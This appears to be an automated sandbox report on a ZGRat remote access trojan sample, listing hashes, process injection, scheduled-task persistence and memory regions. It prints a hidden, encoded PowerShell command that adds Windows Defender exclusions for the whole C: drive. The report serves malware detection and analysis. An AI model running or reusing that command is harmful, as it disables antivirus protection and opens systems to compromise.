zgrat | 34533f89b9779c58aa974e0b736e64e40cef220586e1f08eb03bc51565f8cf36

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
16/10/2023, 05:41

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General

Target

Miner.exe
Size

629KB
MD5

708d29598abe4e2f728b3e3908e50b89
SHA1

cdea35bbf332c3d062e797ab13a6e1177c0b15f0
SHA256

34533f89b9779c58aa974e0b736e64e40cef220586e1f08eb03bc51565f8cf36
SHA512

f06b680a1919088dfc6072839160cb3febb62d110f7553c705e0e13433123f15b67d94301bb76a2a9afbbc602959f993c1607739f0373e4d091aea60ab78d40f
SSDEEP

12288:HWNoB3z0ShdTOpaRcBno+8A4Zv4Tdoyp5ujKmKaQwl:8C3z0SXTOEund8jZe5KD

Score

10^/10

zgrat rat

Malware Config

Signatures

Detect ZGRat V1 2 IoCs

resource	yara_rule
behavioral1/memory/2132-3-0x000000001B970000-0x000000001BA72000-memory.dmp	family_zgrat_v1
behavioral1/memory/2496-28-0x000000001B4C0000-0x000000001B5C2000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Executes dropped EXE 1 IoCs

pid	Process
2496	Data.exe

Loads dropped DLL 1 IoCs

pid	Process
1948	taskeng.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2496 set thread context of 3016	2496	Data.exe	34

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2692	powershell.exe
3016	aspnet_compiler.exe
3016	aspnet_compiler.exe
3016	aspnet_compiler.exe
3016	aspnet_compiler.exe
3016	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2132	Miner.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2496	Data.exe
Token: SeDebugPrivilege	3016	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2696 wrote to memory of 2692	2696	taskeng.exe	30
PID 2696 wrote to memory of 2692	2696	taskeng.exe	30
PID 2696 wrote to memory of 2692	2696	taskeng.exe	30
PID 1948 wrote to memory of 2496	1948	taskeng.exe	33
PID 1948 wrote to memory of 2496	1948	taskeng.exe	33
PID 1948 wrote to memory of 2496	1948	taskeng.exe	33
PID 2496 wrote to memory of 3016	2496	Data.exe	34
PID 2496 wrote to memory of 3016	2496	Data.exe	34
PID 2496 wrote to memory of 3016	2496	Data.exe	34
PID 2496 wrote to memory of 3016	2496	Data.exe	34
PID 2496 wrote to memory of 3016	2496	Data.exe	34
PID 2496 wrote to memory of 3016	2496	Data.exe	34
PID 2496 wrote to memory of 3016	2496	Data.exe	34

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Miner.exe
"C:\Users\Admin\AppData\Local\Temp\Miner.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2132

C:\Windows\system32\taskeng.exe
taskeng.exe {E5A000E0-2AD9-4549-9E1C-06CF044E23F1} S-1-5-21-3849525425-30183055-657688904-1000:KGPMNUDG\Admin:S4U:
1⤵
- Suspicious use of WriteProcessMemory
PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcACoALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2692

C:\Windows\system32\taskeng.exe
taskeng.exe {78B4DE0B-91D9-4634-A763-66EE1685962D} S-1-5-21-3849525425-30183055-657688904-1000:KGPMNUDG\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Users\Admin\AppData\Roaming\Keywords\Data.exe
  C:\Users\Admin\AppData\Roaming\Keywords\Data.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabD0E8.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar44.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Roaming\Keywords\Data.exe

Filesize
629KB

MD5
708d29598abe4e2f728b3e3908e50b89

SHA1
cdea35bbf332c3d062e797ab13a6e1177c0b15f0

SHA256
34533f89b9779c58aa974e0b736e64e40cef220586e1f08eb03bc51565f8cf36

SHA512
f06b680a1919088dfc6072839160cb3febb62d110f7553c705e0e13433123f15b67d94301bb76a2a9afbbc602959f993c1607739f0373e4d091aea60ab78d40f

Download Submit
C:\Users\Admin\AppData\Roaming\Keywords\Data.exe

Filesize
629KB

MD5
708d29598abe4e2f728b3e3908e50b89

SHA1
cdea35bbf332c3d062e797ab13a6e1177c0b15f0

SHA256
34533f89b9779c58aa974e0b736e64e40cef220586e1f08eb03bc51565f8cf36

SHA512
f06b680a1919088dfc6072839160cb3febb62d110f7553c705e0e13433123f15b67d94301bb76a2a9afbbc602959f993c1607739f0373e4d091aea60ab78d40f

Download Submit
\Users\Admin\AppData\Roaming\Keywords\Data.exe

Filesize
629KB

MD5
708d29598abe4e2f728b3e3908e50b89

SHA1
cdea35bbf332c3d062e797ab13a6e1177c0b15f0

SHA256
34533f89b9779c58aa974e0b736e64e40cef220586e1f08eb03bc51565f8cf36

SHA512
f06b680a1919088dfc6072839160cb3febb62d110f7553c705e0e13433123f15b67d94301bb76a2a9afbbc602959f993c1607739f0373e4d091aea60ab78d40f

Download Submit
memory/2132-5-0x00000000008B0000-0x00000000008FC000-memory.dmp

Filesize
304KB

Download
memory/2132-3-0x000000001B970000-0x000000001BA72000-memory.dmp

Filesize
1.0MB

Download
memory/2132-1-0x000007FEF5740000-0x000007FEF612C000-memory.dmp

Filesize
9.9MB

Download
memory/2132-4-0x0000000000640000-0x0000000000696000-memory.dmp

Filesize
344KB

Download
memory/2132-13-0x000007FEF5740000-0x000007FEF612C000-memory.dmp

Filesize
9.9MB

Download
memory/2132-0-0x000000013FA20000-0x000000013FAC2000-memory.dmp

Filesize
648KB

Download
memory/2132-2-0x000000001BA70000-0x000000001BAF0000-memory.dmp

Filesize
512KB

Download
memory/2132-6-0x0000000000B20000-0x0000000000B74000-memory.dmp

Filesize
336KB

Download
memory/2132-20-0x000007FEF5740000-0x000007FEF612C000-memory.dmp

Filesize
9.9MB

Download
memory/2496-30-0x000000001B440000-0x000000001B4C0000-memory.dmp

Filesize
512KB

Download
memory/2496-36-0x000000001B440000-0x000000001B4C0000-memory.dmp

Filesize
512KB

Download
memory/2496-39-0x000007FEF4DC0000-0x000007FEF57AC000-memory.dmp

Filesize
9.9MB

Download
memory/2496-28-0x000000001B4C0000-0x000000001B5C2000-memory.dmp

Filesize
1.0MB

Download
memory/2496-25-0x000007FEF4DC0000-0x000007FEF57AC000-memory.dmp

Filesize
9.9MB

Download
memory/2496-26-0x000000013F100000-0x000000013F1A2000-memory.dmp

Filesize
648KB

Download
memory/2496-27-0x000000001B440000-0x000000001B4C0000-memory.dmp

Filesize
512KB

Download
memory/2692-14-0x0000000019D60000-0x000000001A042000-memory.dmp

Filesize
2.9MB

Download
memory/2692-16-0x0000000001480000-0x0000000001500000-memory.dmp

Filesize
512KB

Download
memory/2692-11-0x000007FEEE280000-0x000007FEEEC1D000-memory.dmp

Filesize
9.6MB

Download
memory/2692-12-0x0000000001480000-0x0000000001500000-memory.dmp

Filesize
512KB

Download
memory/2692-17-0x000007FEEE280000-0x000007FEEEC1D000-memory.dmp

Filesize
9.6MB

Download
memory/2692-15-0x00000000010F0000-0x00000000010F8000-memory.dmp

Filesize
32KB

Download
memory/3016-42-0x000000001B980000-0x000000001BA00000-memory.dmp

Filesize
512KB

Download
memory/3016-44-0x000000001B980000-0x000000001BA00000-memory.dmp

Filesize
512KB

Download
memory/3016-35-0x0000000140000000-0x00000001400A2000-memory.dmp

Filesize
648KB

Download
memory/3016-40-0x000007FEF43D0000-0x000007FEF4DBC000-memory.dmp

Filesize
9.9MB

Download
memory/3016-41-0x000000001B980000-0x000000001BA00000-memory.dmp

Filesize
512KB

Download
memory/3016-32-0x0000000140000000-0x00000001400A2000-memory.dmp

Filesize
648KB

Download
memory/3016-43-0x000000001B980000-0x000000001BA00000-memory.dmp

Filesize
512KB

Download
memory/3016-33-0x000007FFFFFDE000-0x000007FFFFFDF000-memory.dmp

Filesize
4KB

Download
memory/3016-45-0x000007FEF43D0000-0x000007FEF4DBC000-memory.dmp

Filesize
9.9MB

Download
memory/3016-31-0x0000000140000000-0x00000001400A2000-memory.dmp

Filesize
648KB

Download
memory/3016-64-0x000000001B980000-0x000000001BA00000-memory.dmp

Filesize
512KB

Download
memory/3016-65-0x000000001B980000-0x000000001BA00000-memory.dmp

Filesize
512KB

Download
memory/3016-66-0x000000001B980000-0x000000001BA00000-memory.dmp

Filesize
512KB

Download
memory/3016-67-0x000000001B980000-0x000000001BA00000-memory.dmp

Filesize
512KB

Download
memory/3016-29-0x0000000140000000-0x00000001400A2000-memory.dmp

Filesize
648KB

Download